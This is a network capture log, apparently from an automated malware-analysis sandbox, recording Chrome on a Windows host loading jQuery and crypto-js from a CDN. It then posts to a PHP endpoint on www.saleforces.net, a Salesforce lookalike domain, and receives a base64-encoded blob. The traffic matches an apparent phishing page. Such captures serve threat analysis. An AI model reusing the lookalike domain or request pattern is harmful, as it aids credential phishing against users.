2024-04-18 20:48:37 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-04-18 20:48:37 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-04-18 20:48:37 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-04-18 20:48:37 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-04-18 20:48:37 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49734	104.17.24.14	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:37 UTC	589	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:37 UTC	957	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:37 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 83263 Expires: Tue, 08 Apr 2025 20:48:37 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fjo%2BCX9gceNdJQ%2BU2da62Zrx18H8KZNVOJrfGjU91yzptb8b1yKf2PIS3q8UbBhEwqJeahmZGmiCS9Yqi5ZfiUaI1A8d5u%2BxuukSOZWJ8zS9qNTKJv4pKyRaJrm3721KRWtm2SEf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 876784489b6353ff-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:37 UTC	412	IN	Data Raw: 37 62 66 32 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf2!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 Data Ascii: indow.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f Data Ascii: o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:functio
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 Data Ascii: ),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcess
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a Data Ascii: i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 Data Ascii: 4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+(
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 Data Ascii: 42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=429496729
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d Data Ascii: ,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c Data Ascii: .call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|
2024-04-18 20:48:37 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c Data Ascii: ction(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49738	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:37 UTC	710	OUT	POST /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive Content-Length: 47 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:37 UTC	47	OUT	Data Raw: 73 63 74 65 3d 26 61 75 74 6f 3d 66 61 6c 73 65 26 66 3d 57 79 4a 6c 62 53 49 73 49 6d 56 74 59 57 6c 73 49 69 77 69 59 57 52 6b 49 6c 30 3d Data Ascii: scte=&auto=false&f=WyJlbSIsImVtYWlsIiwiYWRkIl0=
2024-04-18 20:48:39 UTC	529	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:48:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=gms1kpr3fdlhgo5uvtue33bg2u; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:48:39 UTC	15855	IN	Data Raw: 31 66 65 38 38 0d 0a 54 6d 6c 56 55 57 6c 50 62 6c 4e 54 4d 45 68 6d 55 6c 42 6e 4f 54 5a 53 62 57 4e 70 63 45 6b 78 62 55 74 73 57 6b 4a 6c 51 57 52 45 55 54 4d 7a 56 6e 5a 32 54 7a 4e 48 57 6c 56 56 52 79 39 6c 57 56 6b 32 4e 6a 42 4c 63 6c 56 4d 51 7a 46 4c 63 6e 52 76 56 53 73 32 4d 58 55 7a 51 53 38 7a 62 44 52 50 53 43 74 73 4e 79 39 42 63 48 6b 76 62 47 31 44 52 44 68 6a 57 46 56 49 4b 31 5a 71 65 6b 35 45 54 33 6c 44 54 6d 31 53 56 32 46 55 61 45 64 69 61 30 51 30 56 55 74 55 64 6d 68 45 51 58 4a 6e 56 45 4e 59 65 45 78 6a 61 6e 52 59 63 6b 5a 50 65 56 68 4e 4f 56 56 5a 64 55 78 4c 59 31 4a 75 55 57 68 4c 4e 46 4e 4a 4b 30 4a 6d 4d 6e 70 44 4c 32 39 51 4b 7a 68 6c 62 47 78 57 65 6d 70 73 59 7a 42 35 55 46 63 32 51 6e 42 30 53 30 6b 30 53 30 30 72 Data Ascii: 